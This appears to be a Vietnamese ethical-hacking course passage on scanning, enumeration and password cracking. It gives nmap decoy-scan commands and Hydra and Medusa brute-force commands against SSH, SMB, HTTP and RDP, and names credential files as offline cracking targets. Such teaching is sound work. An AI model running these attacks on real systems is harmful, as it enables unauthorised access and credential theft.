Netword pinging là hành động gửi các loại của giao thông mạng tới đích và

phân tích kết quả. Pinging sử dụng ICMP (Internet Control Message Protocol). Ngoài

ra, nó còn sử dụng TCP hoặc UDP để tìm host còn sống.

Để thực hiện ICMP ping sweep, ta có thể sử dụng fping, nmap,….

Fping –a –g 192.168.10.1 192.168.10.10

-a hiện thi host đang sống: alive

-g dãy địa chỉ: 192.168.10.0/24 or như trên

29

Nmap –sP –PE 192.168.10.0/24

-sP: ping scan

-PE: ping echo

30

Phòng chống: chúng ta có thể dùng pingd giữ tất cả các giao thông mạng

ICMP ECHO và ICMP ECHO REPLY ở cấp độ host. Điểm này đạt

được bằng cách gỡ bỏ sự hỗ trợ của việc xử lý ICMP ECHO từ nhân hệ

thống. Về mặt cơ bản, nó cung cấp một cơ chế điều khiển truy cập ở mức

độ hệ thống.

b) ICMP query

Ping sweeps (or ICMP ECHO packets) có thể nói chỉ là đỉnh đầu của tảng

băng khi nói đến thông tin ICMP về một hệ thống. chúng ta có thể thu thập nhiều loại

thông tin có giá trị đơn giản bằng cách các gói tin ICMP. Chúng ta có thể yêu cầu mặt

nạ mạng của một thiết bị nào đó với Address Mask Request. Mặt nạ mạng rất quan

trọng vì chúng ta có thể xác định được tất cả địa chỉ của đích, biết được gatewate mặt

định, địa chỉ broadcast. Nhờ vào gateway mặc định, chúng ta có thể tấn công router.

Với địa chỉ broadcast. Nhưng không phải tất cả các router nào cũng hỗ trợ Time và

Netmask.

Phòng chống: Khóa loại ICMP mà cung cấp thông tin tại router biên

(router đi ra ISP). Để giảm tới mức thiểu, chúng ta nên dùng access list

(ACLs):

o Access-list 101 deny icmp any any 13 // yêu cầu timestamp

o Access-list 101 deny icmp any any 17 // yêu cầu address mask

31

2. Xác định các dịch vụ đang chạy hoặc đang lắng nghe.

a) Port Scanning

Port scanning là quá trình gửi các gói tin tới cổng TCP và UDP trên hệ

thống đích để xác định dịch vụ nào đang chạy hoặc trong tình trạng đang lắng nghe.

Việc xác định đang lắng nghe là rât quan trọng để xác định các dịch vụ đang chạy.

Thêm vào đó, chúng ta có thể xác định loại và phiên bản hệ điều hành đang chạy và

ứng dụng đang xử dụng.

b) Các Loại Scan

Trước khi thực hiện port scanning, chúng ta nên điểm qua một số cách thức

quét sẵn có:

TCP Connect scan: loại này kết nối tới cổng đích và thực hiện đầy đủ

quy trình bắt tay ba bước (SYN, SYN/ACK, ACK). Tuy nhiên điều này

thì dễ dàng bị phát hiện bởi hệ thống đích. Nó sử dụng lời gọi hệ thống

thay cho các gói tin sống (raw packets) và thường được sử dụng bởi

những người dùng Unix không có quyền.Vì SYN Scan không thể thực

hiện được.

TCP SYN scan: nó không tạo ra một kết nối tới nguồn mà chỉ gửi gói

tin SYN(bước đầu tiên trong ba bước tạo kết nối) tới đích. Nếu a gói tin

SYN/ACK được trả về thì chúng ta biết được cổng đó đang lắng nghe.

Ngược lại, nếu nhận được RST/ACK thì cổng đó không lắng nghe. Kỹ

thuật này khó bị phát hiện hơn là TCP connect và nó không lưu lại

32

thông tin ở mày tính đích. Tuy nhiên, một trong những nhược điểm của

kỹ thuật này là có thể tạo ra điều kiện từ chối dịch vụ DoS nếu có quá

nhiều kết nối không đầy đủ được tạo ra. Vì vậy, kỹ thuật này là an toàn

nếu không có quá nhiều kết nối như trên được tạo ra.

TCP ACK Scan: kỹ thuật này được dùng để vạch ra các quy tắt thiết lập

tường lửa. nó có thể giúp xác định xem tường lửa là trình trích lọc các

gói tin đơn giản cho phép tạo kết nối hay là trình trích lọc năng cao.

Tuy nhiên nó không thể phân biệt được cổng nào open hay closed.

TCP Windows Scan: Giống với ACK Scan, điểm khác là nó có thể phát

hiện cổng open với closed.

UDP Scan: kỹ thuật này gửi một gói tin UDP tới cổng đích. Nếu cổng

đích trả lời với thông điệp “ICMP port unreachable ” thì cổng closed.

Nếu không nhận được thông điệp trên thì cổng trên đang mở. Tuy

nhiên, UDP scan là một quá trình rất chập nếu như chúng ta cố gắng

scan một thiệt bị nào đó mà được áp chính sách trích lọc gói tin mạnh.

TCP FIN, XMAS, NULL: chúng chuyên nghiệp trong việc lén lút vượt

tường lửa để khám phá các hệ thống ở phía sau. Tuy nhiên, chúng lại

phụ thuộc nhiều vào cách xử lý của hệ thống đích mà(điển hình là

Windows) thì không có biểu hiện gì.

c) Xác định các dịch vụ TCP và UDP đang chạy

Strobe: có độ tin cây cao, tuy nhiên chỉ hỗ trợ TCP, không hỗ trợ UDP

33

Netcat là một tiện ích mạng Unix đơn giản tính năng đọc và ghi dữ liệu

qua kết nối mạng, sử dụng giao thức TCP / IP.Nó được thiết kế như là

một công cụ đáng tin cậy "back-end" có thể được sử dụng trực tiếp hoặc

dễ dàng điều khiển bởi các chương trình và các script khác. Đồng thời,

nó là công cụ gỡ lỗi mạng với nhiều tính năng và công cụ thăm dò.

Nc –v –z –w2 192.168.10.102 1-4000

-v: xuất chi tiết ra màn hình

-z: zero-I/O mode – không gửi dữ liệu nào chỉ phát ra một gói tin.

192.168.10.102: host

1-4000: port cần quét.

Nmap (Network Mapper) là một tiện ích nguồn mở miễn phí cho phát

hiện mạng và kiểm toán an ninh. Nhiều quản trị mạng và hệ thống cũng

tìm thấy sự hữu ích cho các công việc như kiểm kê mạng lưới, dịch vụ

quản lý lịch trình, và theo dõi thời gian hoạt động dịch vụ và máy chủ.

Nmap sử dụng các gói tin IP thô trong các phương pháp mới để xác định

host nào có sẵn trên mạng, các dịch vụ (tên ứng dụng và phiên bản) mà

host đó đang cung cấp, hệ điều hành gì (và các phiên bản hệ điều hành)

mà họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử dụng,

và nhiều đặc điểm khác. Nó được thiết kế để scan nhanh chóng các mạng

34

lớn, nhưng ho. Nmap chạy được trên tất cả các hệ điều hành, và các gói

nhị phân chính thức có sẵn cho Linux, Windows, và Mac OS X.

Cách dùng đơn giản nhất, không đặc tả tham số: nmap 192.168.10.0/24

Quá trình được thực hiện như sau:

35

a. Chuyển <target> từ hostname thành Ipv4 sử dụng DNS. Nếu là một địa

chỉ IP thì không cần chuyển.

b. Thực hiện ping tới host, mặc định với một gói tin yêu cầu ICMP echo và

một gó tin TCP ACK gới tới cổng 80 để xác định host đó có đang up hay

không? Nếu không, nmap sẽ thoát và hiện thông báo. Chúng ta có thể sử

dung Ping NULL(-PN) để bỏ qua bước này.

c. Chuyển IP đích thành tên với truy vấn DNS ngược. điều này có thể bỏ

qua vơi thuộc tính –n để cải thiện tốc độ và khả năng không bi phát hiện.

d. Thực hiện quét TCP port với hơn 1000 port phổ biến được liệt kê tại

nmap-services. Quá trình scan SYN sẽ được thực hiện, nhưng Connect

scan sẽ được thay thế khi người dùng Unix không phải root thiếu quyền

cần thiết để gửi các gói tin thô.

e. In kết qua lên màn hình

Quét host đang up: nmap –sP –PE 192.168.10.0/24

-sP: ping scan

-PE: ping echo

36

Phụ thuộc vào độ phức tạp của mạng đích và các host, quá trình quét có

thể dễ dàng bị phát hiện.Nmap cung cấp khả năng làm giả địa chỉ nguồn

với tùy chọn –Ddecoy. Nó được tạo ra để làm tràn ngập cái site đích với

những thông tin giả mạo. Thứ cơ bản nằm phía sau tùy chọn này là chạy

scan giả cùng lúc với scan thật. Hệ thống đích sẽ trả lời trên các địa chỉ

giả cũng như scan port thực của chúng ta. Và quan trọng hơn cả là địa

chỉ giả phải còn sống. Ngược lại, quá trìnhscan với SYN và dẫn đến điều

kiện từ chối dịch vụ

Nmap –sS–PE 192.168.10.0/24 –D 10.10.10.1

37

d) Phòng chống:

Tắt tất cả các dịch vụ không cần thiết. Trên Unix, chúng ta có thể thực hiện

điều này bằng cách xem các dịch vụ không cần thiết trong /ect/inetd.conf và tắt các

dịch vụscript lúc khởi động. Trên Windows, rất khó để tắt các dịch vụ không cần thiết

vì theo cách hoạt động của Windows, cổng TCP 139 và 445 cung cấp nhiều chức năng

Windows hoạt động.

3. Xác định hệ điều hành

Nhiều công cụ mạnh và nhiều kỹ thuật quét port có sẵn để tìm các cổng mở trên

hệ thống đích. Nếu nhìn lại, đối tượng đầu tiên của chúng ta là quét cổng để xác định

các cổng TCP và UDP trên máy đích. Và với những thông tin đó, chúng ta có thể cổng

nào đó đang lắng nghe có điểm yếu nào đó chăng? Nhưng chúng ta cần tìm nhiều

thông tin hơn về mục tiêu. Đó chình là xác định hệ điều hành.

a) Active OS Detection

Thông tin càng chi tiết về hệ điều hành thì nó càng hữu ích trong việc phân

tích điểm yếu. chúng ta có thể sử dụng kỹ thuật banner-grabbing, thứ lấy thông tin từ

các dịch vụ FTP, telnet, SMTP, HTTP. Đây là cách đơn giản nhất để phát hiện hệ điều

hành và phiên bản mà nó đang chạy. Theo đó, kỹ thuật đúng đắn là kỹ thuật stack

fingerprinting. Nó là một kỹ thuật rất mạnh cho phép chúng ta biết chắc hệ điều hành

đích với độ tin cậy cao. Stack fingerprinting sẽ yêu cầu ích nhất một cổng đang lắng

nghe. Nmap có đoán được trong trường hợp không có cổng nào đang mở.

38

Active OS detection gửi các gói tin đến đích để xác định điểm đặc trưng chi

tiết trong stack mạng, điều này cho phép chúng ta đoán hệ điều hành. Vì phải gửi các

gói tin như thế, nên rất dễ dàng bị phát hiện. vì thế đây không phải là cách mà hacker

áp dụng để tấn công.

Nmap với –O để xác định hệ điều hành.

b) Passive OS Detection

Sử dụng passive stack fingerprinting. Nó tương tự như khái niệm active

stack fingerprinting. Thay vì gửi các gói tin tới đích để dễ dành bị phát hiện. Kẻ tấn

công âm thầm giám sát giao thông mạng để xác định hệ điều hành đang sử dụng. Vì

vậy, bằng việc giám sát giao thông mạng giữa các hệ thống khác nhau, chúng ta có thể

xác định được hệ điều hành. Kỹ thuật này phụ thuộc vào vị trí trung tâm trên mạng và

trên cổng cho phép bắt gói tin.

39

Chương 4: ENUMERATION

I. Enumeration là gì?

Enumeration (Liệt kê) là bước tiếp theo trong quá trình tìm kiếm thông tin của

tổ chức , xảy ra sau khi đã scanning và là quá trình tập hợp và phân tích tên người

dùng, tên may,tài nguyên chia sẽ và các dịch vụ . Nó cũng chủ động truy vấn hoặc kết

nôi tơi muc tiêu đê co đươc nhưng thông tin hợp lý hơn . Enumeration (liệt kê) có thể

được định nghĩa là quá trình trích xuất những thông tin có được trong phần scan ra

thành một hệ thống có trật tự. Những thông tin được trích xuất bao gồm những thứ có

liên quan đến mục tiêu cần tấn công, như tên người dùng (user name), tên máy tính

(host name), dịch vụ (service), tài nguyên chia sẽ (share).Những kỹ thuật liệt kê được

điều khiển từ môi trường bên trong. Enumeration bao gồm cả công đoạn kết nối đến

hệ thống và trực tiếp rút trích ra các thông tin. Mục đích của kĩ thuật liệt kê là xác định

tài khoản người dùng và tài khoản hệ thống có khả năng sử dụng vào việc hack một

mục tiêu . Không cân thiêt phai tim môt tai khoan quan tri vi c húng ta có thể tăng tai

khoản này lên đ ến mức co đăc quyên nhât đê cho phep truy câp vao nhiêu tai khoan

hơn đa câp trươc đây.

II. Banner Grabbing

Kỹ thuật chủ yếu nhất của enumeration là banner grabbing, Nó có thể được

định nghĩa đơn giản như là kết nối đến ứng dụng từ xa và quan sát đầu ra. Nó có nhiều

thông tin cho kẻ tấn công từ xa. Ít nhất chúng ta cũng đã xác định được mô hình dịch

vụ đang chạy mà nhiều trường hợp là đủ để tạo nên quá trình nghiên cứu các điểm yếu.

Phòng chống: tắt các dịch vụ không cần thiết. chúng ta có thể giới hạn việc truy

cập tới các dịch vụ điều khiển truy cập mạng.

III. Enumerating các dịch vụ mạng

1. Http fingerprinting

a) Telnet

TELNET (viết tắt của TerminaL NETwork) là một giao thức mạng (network

protocol) được dùng trên các kết nối với Internet hoặc các kết nối tại mạng máy tính

cục bộ LAN. Tài liệu của IETF, STD 8, (còn được gọi là RFC 854 và RFC 855) có nói

rằng: Mục đích của giao thức TELNET là cung cấp một phương tiện truyền thông

chung chung, có tính lưỡng truyền, dùng độ rộng 8 bit, định hướng byte. TELNET là

một giao thức khách-chủ (client-server protocol), dựa trên nền TCP, và phần khách

(người dùng) thường kết nối vào cổng 23 với một máy chủ, nơi cung cấp chương trình

ứng dụng thi hành các dịch vụ.

40

Sử dụng telnet để tìm hiểu thông tin từ cổng dịch vụ đang mở, sử dụng công cụ

từ xa để lấy thông tin thông qua cổng telnet mà hầu hết các hệ điều hành điều hổ trợ.

C:\>telnet www.google.com 80

b) Netcat

Là một tool cho phép ghi và đọc data thông qua giao thức TCP và UDP. Netcat

có thể sử dụng như port scanner, backdoor, port redirecter, port listener,…

Sử dụng netcat bằng dòng lệnh:

- Chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]

- Chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]

Ví dụ:

Lấy banner của Server:

nc đến 192.168.10.102, cổng 80

Quét cổng

41

chạy netcat với tùy chọn -z. Ví dụ để scan các cổng TCP(1->500) của host

192.168.10.102

nc –v www.google.com 80

www.google.com [74.215.71.105] 80 (http) open

c) Open SSL

Là sự nỗ lực hợp tác nhằm phát triển bộ mã nguồn mở với đầyđủ tính năng,

được triển khai trên giao thức SSL (version 2 và version 3) vàgiao thức TSL(version 1)

được quản lý bởi cộng đồng những người tìnhnguyện trên toàn thế giới sử dụng

Internet để kết nối và phát triển bộOpenSSL và các tài liệu có liên quan.

Hầu hết các phần mềm như IMAP&POP, Samba, OpenLDAP, FTP,Apache và

những phần mềm khác đều yêu cầu công việc kiểm tra tính xácthực của người sử dụng

trước khi cho phép sử dụng các dịch vụ này. Nhưngmặc định việc truyền tải sự xác

minh thông tin người sử dụng và mật khẩu(password) ở dạng văn bản thuần túy nên có

thể được đọc hoặc thay đổi bởimột người khác. Kỹ thuật mã hóa như SSL sẽ đảm bảo

tính an toàn và nguyênvẹn của dữ liệu, với kỹ thuật này thông tin truyền trên mạng ở

dạng điểm nốiđiểm được mã hóa. Một khi OpenSSL đã được cài đặt trên Linux

server chúng ta có thể sử dụng nó như một công cụ thứ ba cho phép các ứng dụngkhác

dùng tính năng SSL

OpenSSL là một bộ công cụ mật mã triển khai trên giao thức mạng SSLvà TLS

và các chuẩn mật mã có liên quan. Chương trình OpenSSL là một công cụ dòng lệnh

42

để sử dụng các chứcnăng mật mã của các thư viện crypto của OpenSSL từ nhân.

OpenSSL có các thư viện cung cấp các chức năng mật mã cho các ứngdụng như an

toàn webserver.

Là phần mềm mã nguồn mở , có thể sử dụng được cho cả mục đích thương mại

và phi thương mại với tính năng mã hoá mạnh trên toàn thế giới, hỗ trợ các giao

thức SSLv2 và SSLv3 và TLSv1, cho cả phép mã hoá RSA và Diffie-Hellman, DSO.

Hỗ trợ cho OpenSSL và RSArefUS, nâng cao khả năng xử lý cụm mật khẩu đối với

khoá riêng .Chứng chỉ X.509 dựa vào xác thực cho cả phía client và server, Hỗ trợ

danh sách thu hồi chứng chỉ X.509, khả năng tái điều chỉnh đối với mỗi URL của các

tham số bắt tay SSL.

2. DNS Enumeration

DNS Enumeration là quá trình định vị tất cả các máy chủ DNS và tương ứng

của họ hồ sơ cho một tổ chức. Một công ty có thể có cả hai nội bộ và bên ngoài máy

chủ DNS có thể mang lại thông tin như tên người dùng, tên máy tính, và địa chỉ IP của

hệ thống mục tiêu tiềm năng. Hiện có rất nhiều các công cụ có thể được sử dụng để có

được thông tin cho thực hiện DNS liệt kê. Các ví dụ về các công cụ có thể được sử

dụng để liệt kê DNS nslookup, DIỄN, Registry Mỹ cho số Internet (ARIN), và Whois.

để kê khai DNS, chúng ta phải có sự hiểu biết về DNS và làm thế nào nó hoạt động.

Chúng ta phải có kiến thức về các bản ghi DNS. Danh sách các bản ghi DNS

cung cấp một cái nhìn tổng quan các loại bản ghi tài nguyên (cơ sở dữ liệu hồ sơ) được

lưu giữ trong các tập tin khu vực của tên miền System (DNS). DNS thực hiện một cơ

sở dữ liệu phân tán, phân cấp, và dự phòng thông tin liên kết với các tên miền Internet

và địa chỉ. Trong những miền máy chủ, các loại hồ sơ khác nhau được sử dụng cho các

mục đích khác nhau. Danh sách sau đây mô tả bản ghi DNS phổ biến các loại và sử

dụng của họ:

A (địa chỉ)-Bản đồ một tên máy chủ đến một địa chỉ IP

SOA (Start of Authority)-Xác định máy chủ DNS có trách nhiệm cho các tên

miền thông tin

CNAME (tên kinh điển)-Cung cấp tên hoặc bí danh cho địa chỉ ghi

MX (thư trao đổi) Xác định các máy chủ mail cho tên miền

SRV (dịch vụ)-Nhận dạng các dịch vụ như dịch vụ thư mục

PTR (pointer)-Bản đồ địa chỉ IP để lưu trữ tên

NS (tên máy chủ)-Xác định máy chủ tên khác cho tên miền

43

DNS Zone Transfer thường được sử dụng để tái tạo dữ liệu DNS trên một số

máy chủ DNS, hoặc để sao lưu các tập tin DNS. Một người sử dụng hoặc máy chủ sẽ

thực hiện một yêu cầu chuyển giao khu vực cụ thể từ một “name server”.Nếu máy chủ

tên cho phép di chuyển vùng xảy ra, tất cả các tên DNS và IP địa chỉ lưu trữ bởi các

máy chủ tên sẽ được trả lại trong văn bản ASCII con người có thể đọc được.

Nslookup

Ta cũng có thể dùng lệnh trực tiếp như sau:

Nslookup –type=any tuoitre.vn

Type là loại dịch vụ mạng, như đã liệt kê ở trên: NS(nameserver), MX(mail

exchange)…, any(tất cả).

Tuoitre.vn: một domain

44

3. Netbios name

NetBIOS là một từ viết tắt cho mạng Basic Input / Output System. Nó cung cấp

các dịch vụ liên quan đến lớp phiên của mô hình OSI cho phép các ứng dụng trên các

máy tính riêng để giao tiếp qua một mạng cục bộ. Thật sự như một API, NetBIOS

không phải là một giao thức mạng. Hệ điều hành cũ hơn chạy NetBIOS trên IEEE

802,2 và IPX / SPX sử dụng tương ứng giao thức Frames NetBIOS (NBF) và

NetBIOS trên IPX / SPX (NBX) . Trong các mạng hiện đại, NetBIOS bình thường

chạy trên giao thức TCP / IP thông qua NetBIOS qua giao thức TCP / IP (NBT) .Điều

này dẫn đến từng máy tính trong mạng có cả một tên NetBIOS và một địa chỉ IP tương

ứng với một (có thể khác nhau) tên máy chủ.

NetBIOS name là cơ chế đặt tên cho các tài nguyện trong 1 hệ thống theo

“không gian phẳng” (không có khái niệm phân cấp).

45

Chương 5: PASSWORD CRACKING

I. Giới Thiệu

Là quá trình tìm kiếm hoặc phục hồi password với nhiều mục đích khác nhau.

Mục đích của việc password cracking là giúp cho người dùng có thể lấy lại mật

khẩu đã quên trước đó, hoặc để chiếm đoạt quyền truy cập không xác thực tới hệ

thống.

II. Các Kỹ Thuật Password Cracking

1. Dictionary Attacks/Hybrid Attacks

Attacks sẽ sử dụng file từ điển có sẵn chứa các hash để so sánh với hash

của password để tìm ra dạng plaint text của password nếu hash trùng

nhau.

Chúng ta có thể thêm hoặc đảo các từ có trong từ điển (Hybird Attacks).

Dạng này ứng dụng tốt khj password là nhưng ký tự thông thường, tốc

độ nhanh, mức độ thành công tùy thuộc vào từ điển.

2. Brute Forcing Attacks

Sử dụng mọi tổ hợp của tất cả các ký tự để đưa vào hash và so sánh. Khả năng

thành công là tuyệt đối nếu có đủ thời gian vì tốc độ crack rất lâu trong trường hợp

password dài và phức tạp. chỉ tốt cho password ngắn.

3. Syllable Attacks/Pre-Computed Hashes

Kết hợp hai cách trên bằng cách tạo sẵn các bản hash của tất cả tổ hợp các ký tự

và chỉ so sánh trong quá trình hash. Tốc độ crack chỉ mất vài phút nếu có sẵn các bản

hash.

III. Các Kiểu Tấn Công Thường Gặp

1. Active Password Cracking

Tìm 1 username co thưc va do tim password theo username đo .Quá trình

này có thể tự động hoá để tăng tốc độ tìm kiếm .

Các dạng tấn công kiểu Active Password Cracking:

o Password guessing: một tập hợp từ điển các từ và tên cũng như

mật khẩu và thử tất cả sự kết hợp để crack các password. Kiểu tấn

công này cần nhiều thời gian và lượng băng thông mạng lớn; dễ

dàng bi phát hiện.

o Trojan/Spyware/Keylogger: là chương trình chạy nền giúp cho kẻ

tấn công có thể ghi lại bất kỳ phím nào được nhấn (Keylogger);

46

thu thập thông tin một cách bí mật về cá nhân, tổ chức (Spyware);

với sự giúp đỡ của Trojan, kẻ tấn công có thể lấy quyền truy cập

vào các password được lưu trữ và có thể đọc các tài liệu cá nhân,

xóa file.

2. Passive Password Cracking

Capture qua trình log -in trên đương truyên đê break password

offline(Sniff, MITM…)

Các kiểu tấn công này bao gồm:

o Wire Sniffing: kể tấn công chạy các công cụ sniffing gói tin trong

mạng LAN để truy cập và ghi lại các giao thông mạng đang sống.

Dữ liệu bắt được có thể sẽ bao gồm password được gửi tới các hệ

thống từ xa thông qua các giao dịch Telnet, FTP, rlogin và mail

điện tử gửi và nhận.

o Man-in-the-Middle (MITM) and Replay Attack: Trong tấn công

MITM, attacker giành quyền truy cập vào kênh giao tiếp giữa nạn

nhân và server để tìm kiếm thông tin; trongreplay attack, các gói

tin và thẻ bài (token) xác thực được bắt sử dụng một sniffer.

3. Offline Password Cracking

Tiếp xúc trực tiếp với máy tính nạn nhân để copy các file lưu trữ thông tin. Ví

dụ, SAM database trên Windows (%systemroot%/system32/config) hay /root/passwd

trên Linux. Sau đó có thể sử dụng John để tìm password dang plain text.

IV. Các công cụ Password Cracking

1. Hydra

a) Giới thiệu

Hydra là một công cụ bể khóa đăng nhập mạng rất nhanh, hỗ trợ nhiều giao

thức và dịch vụ khác nhau.

Hydra là trình bẻ khóa đăng nhập xong xong, nghĩa là nó chạy nhiều tác vụ

cung một lúc để quá trình bẻ khóa được nhanh hơn.

Công cụ này cho phép các nhà nghiên cứu và chuyên gia bảo mật có thể

trình bày mức độ dễ dàng để chiếm quyền truy cập không xác thực từ xa tới hệ

thống nào đó

47

b) Cách dùng

Cú pháp chung của Hydra là:

Hydra [[-l LOGIN|-L FILE] [-p PASSWORD|-P FILE]]|[-C FILE]] [-t task] [-w

wait] [server server | IP] [service://server[:port]]

Ví dụ:

48

hydra –f –L login.txt –P password.txt 192.168.10.1 http-get

http://192.168.10.1

Trong đó:

-f: finish:tìm được cặp username và password hợp lệ đầu tiên sẽ kết thúc

-L: file username (-l username)

-P: file password (-p password)

192.168.10.1: địa chỉ ip cần bẻ khóa mật khẩu đăng nhập

http-get: dịch vụ http cổng 80 (http được thay thế bằng http-get và http-

head)

http://192.168.10.1 là trang web cần cho quá trình crack.

2. Medusa

a) Giới thiệu

Medusa có thể được sử dụng brute-force đăng nhập theo từng module theo cớ

chế song song và nhanh chống. mục đích của nó là để hỗ trợ nhiều dịch vụ mà có thể

cho phép quá trình xác thực từ xa nếu có thể.

Medusa được thiết kế dựa vào ba đặc điểm sau:

Kiểm tra song song dựa vào luồng: có thể kiểm tra trên nhiều host, username,

password.

Thiết kế theo module: Mỗi dịch vụ tồn tại ở dạng file (.mod) độc lập. Chúng ta

không cần thiết để chỉnh sửa đến nhân để mở rộng danh sách các dịch vụ hỗ trợ for

việc brute-forcing.

49

b) Cách dùng

Cú pháp:

Medusa [–h host | -H file] [-u username | -U file] [-p password | -P file] [-C

file] –M module [OPT]

-h host hay địa chỉ IP, -H file chứa các host

50

-u username, -U file chứa username

-p password, -P file chứa password

-C file kết hợp dạng host, username, password dạng host:username:password

-M module là bắt buộc theo sau là tên các module được hỗ trợ. Để xem tất cả

các module ta gõ: medusa –d và cách dùng chi tiết cho 1 module nào đó: medusa –M

tên_module –q

51

V. Password Cracking Trên Các Giao Thức

1. HTTP (HyperText Tranfer Protocol)

c) Khái niệm

Đây là giao thức chuyển đổi siêu văn bản và thường được sử dụng cho các

ứng dụng Web (World Wide Web – WWW) trên cổng mặc định là 80.

d) Có 2 dạng mã hóa HTTP:

Basic access authentication: là phương pháp trình duyệt web hoặc các

chương trình khác cung cấp username và password when được yêu cầu. Nó hỗ trợ

tất cả các trình duyệt web, tuy nhiên, cả username và password được gởi đi dạng

plain text nên ít được áp dụng vào thưc tế. Và quá trình đăng nhập vào router là

một ví dụ điển hình.

52

Chúng ta có thể dùng Wireshark để bắt:

53

Như trên hình username và password bắt được: admin:12345

Digest access authentication: là một trong những phương pháp được thỏa

thuận áp dụng cho máy chủ web để có thể vượt qua các thông tin với

trình duyệt web của người dùng. Nó sử dụng hàm bâm(hash) để mã hóa

các thông tin nhạy cảm trước khi gửi chúng qua mạng.

e) Crack Password HTTP

Ta có thể dùng nmap (Network Mapper) để quét cổng nào đang mở:

54

Truy cập vào trinh duyệt để kiểm tra thử quá trình xác thực

Khi nhấn nút Cancel ta được thông báo:

55

Vào Terminal trên BackTrack 5 gõ: hydra –f –L login.txt –P password.txt

192.168.10.1 http-get http://192.168.10.1

Trong đó:

-f: finish:tìm được cặp username và password hợp lệ đầu tiên sẽ kết thúc

-L: file username (-l username)

-P: file password (-p password)

192.168.10.1: địa chỉ ip cần bẻ khóa mật khẩu đăng nhập

http-get: dịch vụ http cổng 80 (http được thay thế bằng http-get và http-

head)

http://192.168.10.1 là trang web cần cho quá trình crack.

56

Hoặc: medusa –h 192.168.10.1 –U login.txt –P password –M http

Trong đó:

-h host hay địa chỉ ip cần bẻ khóa mật khẩu đăng nhập.

-U: file username (-u username)

-P: file password (-p password)

-M http giao thức cần crack. M viết tắc cho modum

57

Sau đó quay lại trinh duyệt web, ta nhập username và password tìm được:

58

2. SSH (Secure Shell)

a) Khái niệm

SSH là một giao thức mạng cho việc giao tiếp dữ liệu bảo mật, các dịch vụ

shell từ xa hoặc thực thi lệnh vàn các dịch vụ mạng bảo mật khác giữa các máy tính

được nối mạng với nhau. Nó kết nối thông qua một kênh bảo mật trên một mạng

không bảo mật: một máy chủ và một máy khách (chạy các chương SSH server và

SSH Client).

Ứng dụng được biết đến nhiều nhất của giao thức này là việc truy cập đến

tài khoản shell của hệ điều hành LIKE-UNIX (LINUX). Nó sinh ra để thay thế các

chuẩn giao thức không bảo mật khác như telnet, rsh, rexec …, khi mà password

được gửi đi dạng plain text, có thể dễ dàng đọc được.

SSH hoạt động trên TCP cổng 22.

b) Crack password qua SSH

Kiểm tra dịch vụ ssh có đang chạy hay không?

Với hydra: hydra –f –L login.txt –P password.txt 192.168.10.101 ssh

59

Với Medusa: medusa –h 192.168.10.101 –U login.txt –P password.txt –M

ssh

Và đây là cách truy cập vào thiết bị Nokia N900 từ xa với username và

password vừa tìm được:

60

Ví dụ kiểm tra các card mạng từ xa:

61

3. SMB (Server Message Block)

a) Khái niệm

SMB được biết đến như là Common Internet File System (CIFS), hoạt động

ở tầng ứng dụng trong mô hình OSI, thường thường được sử dụng để cung cấp

truy cập chia sẽ các file, máy in… và các giao tiếp khác nhau giữa các nút mạng

trên mạng. Nó còn cung cấp kỹ thuật giao tiếp liên quá trình có xác thực. Hầu hết

sử dụng của SMB đều liên quan đến Microsoft Windows.

SMB có thể chạy trên tầng giao dịch (Session) hoặc thấp hơn:

o Trực tiếp trên TCP cỗng 445;

o Thông qua NetBIOS (cung cấp nhiều dịch vụ liên quan đến tầng

ứng dụng trong mô hình OSI cho phép các ứng dụng trên các máy

tính phân biệt có thể giao tiếp vơi nhau thông qua mạng LAN)

trên UDP cổng 137, 138 và TCP 137, 139

b) Crack password SMB

Quét xem có máy nào đang chạy dịch vụ smb port 445 hay không?

62

Với Hydra tao gõ: hydra –f –L login.txt –P password.txt 192.168.10.100 smb

Với Medusa, ta gõ: medusa –h 192.168.10.100 –U login.txt –P password.txt

smbnt

63

Và đây là cách chúng ta sử dụng username và password vừa tìm được

64

4. RDP (Remote Desktop Protocol)

a) Khái niệm

RDP là một giao thức giao tiếp của cá nhân hay tổ chức được phát triển bởi

Microsoft, cung cấp cho người dùng một giao diện đồ họa đối với máy tính khác.

Hiện tại, Microsoft đã chuyển phần mềm chủ (server) RDP sang Remote

Desktop Services như Terminal Services (dịch vụ đầu cuối) và phần mềm khách

(client) như là Terminal Services Client.

Khi thực hiện kết nối đến một máy tính nào đó từ xa, chúng ta sẽ nhận được

yêu cầu xác thực người dùng và mật khẩu phù hợp. Vì vậy việc crack password

RDP là cần thiết nếu ta truy cập mà chưa được sự chấp nhận của người dùng.

RDP hoạt động trên TCP cổng 3389

b) Crack password RDP

Quét máy tính xem nào có cổng 3389 đang mở hay không?

65

Với Hydra: hydra –f –L login.txt –P password.txt 192.168.10.100 rdp –t 4 –

w 1

Với Medusa, nó không hỗ trợ trực tiếp giao thức RDP. Tuy nhiên, ta có thể

dùng modum wrapper với script là rdesktop. Ta thực hiện như sau:

66

Medusa –M wrapper –m TYPE:STDIN –m PROG:rdesktop –m ARGS:”-u

%U –p - %H” –h 192.168.10.100 –U login.txt –P password.txt

Tuy vậy, chương trình vẫn hoạt động chưa đúng đắn lắm và tốn nhiều thời gian

vì phải kẻ tấn công phải nhập vào từng password một.

Đầy là cách dùng rdesktop để điều khiển máy tính từ xa với username và

password tìm được:

67

Chương 6: SYSTEM HACKING

I. GIỚI THIỆU VỀ METASPLOIT

1. Giới thiệu

Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ

hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện

tấn công mạng. Một dự án con rất nổi tiếng của Metasploit là Metasploit Framework.

Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai

thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl,

với những components được viết bằng C, assembler, và Python.Metasploit có thể chạy

trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Chúng ta có thể download

chương trình tại www.metasploit.com

Metasploit có phiên bản hiện tại là 4.4.

2. Các thành phần của Metasploit

Metasploit hỗ trợ nhiều giao diện với người dùng:

Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng các

dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn

Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện

web

Command line interface: dùng msfcli

